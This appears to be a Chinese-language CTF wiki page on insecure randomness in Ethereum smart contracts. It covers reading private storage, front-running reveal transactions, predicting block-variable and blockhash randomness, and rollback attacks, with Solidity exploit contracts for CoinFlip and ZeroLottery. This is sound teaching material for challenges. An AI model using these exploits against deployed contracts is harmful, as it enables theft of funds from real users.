Randomness¶
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本节讨论以太坊中的随机数问题。由于所有以太坊节点在验证交易时,需要计算出相同的结果以达成共识,因此 EVM 本身无法实现真随机数的功能。至于伪随机数,其熵源也是只能是确定值。下面讨论各种随机数的安全性,并介绍回滚攻击。
使用私有变量的伪随机数¶
原理¶
合约使用外界未知的私有变量参与随机数生成。虽然变量是私有的,无法通过另一合约访问,但是变量储存进 storage 之后仍然是公开的。我们可以使用区块链浏览器(如 etherscan)观察 storage 变动情况,或者计算变量储存的位置并使用 Web3 的 api 获得私有变量值,然后计算得到随机数。
例子¶
pragma solidity ^0.4.18;
contract Vault {
bool public locked;
bytes32 private password;
function Vault(bytes32 _password) public {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
直接使用 web3.eth.getStorageAt
确定参数调用即可
web3.eth.getStorageAt(ContractAddress, "1", function(x,y){console.info(y);})
外部参与的随机数¶
原理¶
随机数由其他服务端生成。为了确保公平,服务端会先将随机数或者其种子的哈希写入合约中,然后待用户操作之后再公布哈希对应的明文值。由于明文空间有 256 位,这样的随机数生成方法相对安全。但是在明文揭露时,我们可以在状态为 pending 的交易中找到明文数据,并以更高的 gas 抢在之前完成交易确认。
使用区块变量的伪随机数¶
原理¶
EVM 有五个字节码可以获取当前区块的变量,包括 coinbase、timestamp、number、difficulty、gaslimit。这些变量对矿工来说,都是已知或者可操控的,因此在私有链部署的题目中,可以作为恶意的矿工控制随机数的结果。在公开的链如 Ropsten 上,这个方法就不太可行,但我们也可以编写攻击合约,在攻击合约中获取到相同的区块变量值,进一步用相同的算法得到随机数值。
例子¶
pragma solidity ^0.4.18;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract CoinFlip {
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function CoinFlip() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(block.blockhash(block.number.sub(1)));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
- 代码处理流程为:
- 获得上一块的 hash 值
- 判断与之前保存的 hash 值是否相等,相等则会退
- 根据 blockValue/FACTOR 的值判断为正或负,即通过 hash 的首位判断
以太坊区块链上的所有交易都是确定性的状态转换操作,每笔交易都会改变以太坊生态系统的全球状态,并且是以一种可计算的方式进行,这意味着其没有任何的不确定性。所以在区块链生态系统内,不存在熵或随机性的来源。如果使用可以被挖矿的矿工所控制的变量,如区块哈希值,时间戳,区块高低或是 Gas 上限等作为随机数的熵源,产生的随机数并不安全。
所以编写如下攻击脚本,调用 10 次 exploit()
即可
pragma solidity ^0.4.18;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function CoinFlip() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(block.blockhash(block.number-1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
contract hack{
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
address instance_address = ContractAddress;
CoinFlip c = CoinFlip(instance_address);
function exploit() public {
uint256 blockValue = uint256(block.blockhash(block.number-1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
c.flip(side);
}
}
题目¶
- 0CTF Final 2018 : ZeroLottery
使用 Blockhash 的伪随机数¶
原理¶
Blockhash 是一个特殊的区块变量,EVM 只能获取到当前区块之前的 256 个区块的 blockhash (不含当前区块),对于这 256 个之外的区块返回 0。使用 blockhash 可能存在几种问题。
- 误用,如
block.blockhash(block.number)
恒为零。 - 使用过去区块的有效 blockhash ,可以编写攻击合约获取相同值。
- 将猜数字和开奖的交易分开在两个不同区块中,并且使用猜数字时还不知道的某个区块的 blockhash 作为熵源,则可以等待 256 个区块后再进行开奖,消除 blockhash 的不确定性。
题目¶
- Capture The Ether : Predict the block hash、Guess the new number
- 华为云安全 2020 : ethenc
回滚攻击¶
原理¶
在某些情况下,获取随机数可能过于困难或繁琐,这时可以考虑使用回滚攻击。回滚攻击的思想很简单:完全碰运气,输了就“耍赖”,通过抛出异常使整个交易回滚不作数;赢的时候则不作处理,让交易被正常确认。
例子¶
这里以 0ctf 2018 ZeroLottery 为例,部分关键代码如下。其中 n
为随机数,并且省略了其生成方式,但我们知道它的范围是 0 至 7。
contract ZeroLottery {
...
mapping (address => uint256) public balanceOf;
...
function bet(uint guess) public payable {
require(msg.value > 1 ether);
require(balanceOf[msg.sender] > 0);
uint n = ...;
if (guess != n) {
balanceOf[msg.sender] = 0;
// charge 0.5 ether for failure
msg.sender.transfer(msg.value - 0.5 ether);
return;
}
// charge 1 ether for success
msg.sender.transfer(msg.value - 1 ether);
balanceOf[msg.sender] = balanceOf[msg.sender] + 100;
}
...
}
可以观察到题目合约在我们猜对或猜错时收费不同,分别为 1 ether 或 0.5 ether ,我们猜数时多给的钱会转账还给我们。结合智能合约收到转账时会调用 fallback 函数的知识点,假设每次使用 2 ether 去猜数,如果 fallback 函数收到 1.5 ether 就回滚。我们可以固定一个数字一直猜,只有猜对的交易才会被确认。
function guess() public {
task.bet.value(2 ether)(1);
}
function () public payable {
require(msg.value != 1.5 ether);
}
并不是所有题目都涉及转账操作,但是通常都会有一个变量象征着正确次数等,ZeroLottery 中就有 balanceOf[msg.sender]
在猜对时会增加,猜错时清零,也可以通过它判断是否猜对。
function guess() public {
task.bet.value(2 ether)(1);
require(task.balanceOf(this));
}
以上两种方法都是选定一个数字重复猜测,在本题八分之一的概率之下猜对五次获胜,需要大约 40 笔交易才能完成。由于同一个区块中产生的随机数往往相同,我们可以稍作改进,在每个区块中将所有八种可能都猜测一遍,其中必定包含正确的数字。进一步,如果在单笔交易中连续猜五次,那么只需要有一笔交易成功确认就可以完成题目要求。实际上因为题目合约的 bet
函数自带了 balanceOf
非零的检查,如果我们连猜多次,失败了也会自动回滚。
题目¶
- 0ctf final 2018 : ZeroLottery
Note
注:题目附件相关内容可至 ctf-challenges/blockchain 仓库寻找。